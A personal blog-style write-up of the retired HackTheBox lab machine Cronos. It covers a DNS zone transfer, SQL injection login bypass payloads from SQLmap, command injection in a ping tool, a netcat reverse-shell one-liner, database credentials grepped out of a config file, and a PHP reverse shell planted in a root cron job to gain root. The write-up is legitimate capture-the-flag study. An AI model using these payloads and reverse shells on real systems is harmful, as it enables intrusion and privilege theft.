HackTheBox: Cronos

01/13/2024

At this point Im not even really keeping track of which number box this is.

The last one I did was [[Shoppy]], which was rated easy at 4.0/10. This one is a medium, also rated 4.0/10, and was the next box in terms of difficulty in the retired box roster.

After this one I think Ill start fucking with Windows boxes just to get some experience, especially now that I use Windows at work.

Enumeration

We have three ports open: 1) SSH on 22 2) DNS on 53 3) HTTP on 80

First things first, Ill go ahead and add cronos and cronos.htb to the /etc/hosts file.

Next Ill do a script scan to see what turns up.

Script scan identifies port 53 as serving dns-nsid.

I see where this is going; Im going to have to do a zone transfer on the DNS server to find alternate hostnames or subdomains, I think. Then Ill add those to the /etc/hosts file.

Performing a zone transfer

I used tldr nslookup to quickly check how to do the zone transfer to dump all hostnames.

The output is as follows:


$ nslookup -vc -type=AXFR cronos.htb 10.10.10.13
Server:         10.10.10.13
Address:        10.10.10.13#53

cronos.htb
        origin = cronos.htb
        mail addr = admin.cronos.htb
        serial = 3
        refresh = 604800
        retry = 86400
        expire = 2419200
        minimum = 604800
cronos.htb      nameserver = ns1.cronos.htb.
Name:   cronos.htb
Address: 10.10.10.13
Name:   admin.cronos.htb
Address: 10.10.10.13
Name:   ns1.cronos.htb
Address: 10.10.10.13
Name:   www.cronos.htb
Address: 10.10.10.13
cronos.htb
        origin = cronos.htb
        mail addr = admin.cronos.htb
        serial = 3
        refresh = 604800
        retry = 86400
        expire = 2419200
        minimum = 604800

This uncovers a couple subdomains, admin.cronos.htb and nsl.cronos.htb. Obviously, admin is the more interesting of the two.

Let's explore the admin subdomain.

Enumerating admin.cronos.htb

We're met with a pretty basic-looking login form. Lets start with intercepting the request and sending it to SQLmap to check for SQLi auth bypass.

Capturing the request, it looks like it will be pretty easy to run SQLmap on; no request-specific cookies, just a session cookie which I dont expect to change. And the credentials are not encoded in any way.

Either I watched IppSec's video on this box or Im getting good. But so far Ive been blowing through this box; SQLmap caught injection vulnerability pretty much immediately. It found both a boolean-based blind as well as time-based blind:


sqlmap identified the following injection point(s) with a total of 548 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=-6757' OR 9695=9695-- Fwiz&password=admin

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 5081 FROM (SELECT(SLEEP(5)))Llpr)-- GxOJ&password=admin
---
[15:54:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (xenial or yakkety)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12

Ill use the found exploit to login, and then Ill set it on enumerating as much of the database as possible in the background.

To log in with the found injection, just copy and paste everything between username= and &password, then paste it into the username section of the login form.

And voila! We have access. We come to a page titled "Net Tool v0.1" where we can choose a function, either "ping" or "traceroute", from a drop-down menu, then enter target IP in the text field.

This is obviously a command injection vuln.

First, lets test its INTENDED functionality, to see if it will actually ping us. Ill monitor the inbound traffic with tcpdump as follows:


$ sudo tcpdump -i tun0

then I enter my VPN IP into the "target" box and select ping, and hit "execute". I do see inbound ICMP echo requests, so I know the ping works and thus the machine can make outbound connections.

It also appears to print the command's output to the web page, so I have some easy feedback on command injection attempts. Let me try to get a "whoami" command working as a proof of concept on command injection.

Let's try something simple: let me enter 10.10.14.28;whoami

And our output is...


www-data

Damn im good.

Getting a reverse shell via command injection

Let's now try and catch a reverse shell with this command injection vulnerability. Lets try the standard busybox code:


10.10.14.28;rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f &

Im TOO damn good. On my listener,


$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.13] 50364
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

And because I appended the &, the page doesnt hang like it would otherwise; our shell launches in the background.

Now ill upgrade the shell the usual way, which I accidentally cleared before copying to show here. Oh well. Plenty of articles online about how to do it.

Internal Enumeration

One trick Ive come to depend on for rapidly seeking out credentials is recursive, case-insensitive grep, using grep -Ri. This lets you scan through all files looking for any strings matching your target string, regardless of case.

Here, I recursively search the web root for passwords and usernames as soon as I land:


www-data@cronos:/var/www/admin$ ls
ls
config.php  index.php  logout.php  session.php  welcome.php
www-data@cronos:/var/www/admin$ grep -Ri passw
grep -Ri passw
config.php:   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
config.php:   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
index.php:      // username and password sent from form 
index.php:      $mypassword = md5($_POST['password']); 
index.php:      $sql = "SELECT id FROM users WHERE username = '".$myusername."' and password = '".$mypassword."'";
index.php:      // If result matched $myusername and $mypassword, table row must be 1 row
index.php:         $error = "Your Login Name or Password is invalid";
index.php:                  <label>Password  :</label><input type = "password" name = "password" class = "box" /><br/><br />


www-data@cronos:/var/www/admin$ grep -Ri user
grep -Ri user
config.php:   define('DB_USERNAME', 'admin');
config.php:   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
index.php:      // username and password sent from form 
index.php:      $myusername = $_POST['username'];
index.php:      $sql = "SELECT id FROM users WHERE username = '".$myusername."' and password = '".$mypassword."'";
index.php:      // If result matched $myusername and $mypassword, table row must be 1 row
index.php:         //session_register("myusername");
index.php:         $_SESSION['login_user'] = $myusername;
index.php:                  <label>UserName  :</label><input type = "text" name = "username" class = "box"/><br /><br />
session.php:   $user_check = $_SESSION['login_user'];
session.php:   $ses_sql = mysqli_query($db,"select username from admin where username = '$user_check' ");
session.php:   $login_session = $row['username'];
session.php:   if(!isset($_SESSION['login_user'])){

As you can see, we immediately extract the DB credentials "admin:kEjdbRigfBHUREiNSDs"

First things first, lets poke around the mysql database. Note that we dont actually need to get a reverse shell to do this, as SQLmap can do it from the injection vuln it found on the login. This way is just easier, though.

To get a mysql shell:


www-data@cronos:/var/www/admin$ mysql -u admin admin --password
Enter password: (kEjdbRigfBHUREiNSDs)
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 14180
Server version: 5.7.17-0ubuntu0.16.04.2 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

Turns out that doesnt really help us, as there's only one application-specific database, and its only data is a single row containing info on the admin user, which we already have. Okay. Lets poke around some more and see what users there are.

In /home we have one entry, noulis. His home dir is world readable, so we cd in and grab the user flag. That was damn fast.

Lets run linpeas next.

Linpeas spotted something it classifies as extremely likely to be a priv esc vector:


* * * * *  root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

the above entry in crontab runs artisan as root using php every minute.

Can I write that file?


www-data@cronos:/dev/shm/.shane$ ls -l /var/www/laravel/artisan 
-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 /var/www/laravel/artisan

yes I can, and I own it. Damn, this should be easy then... Ill just overwrite artisan with a PHP reverse shell, and it should run as root.

Let's try this:


php -r '$sock=fsockopen("10.10.14.28",9001);exec("/bin/sh -i <&3 >&3 2>&3");'

Ill open a listener on 9001 and then replace the file with this code.

and...


$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.13] 56500
/bin/sh: 0: can't access tty; job control turned off
# whoami
root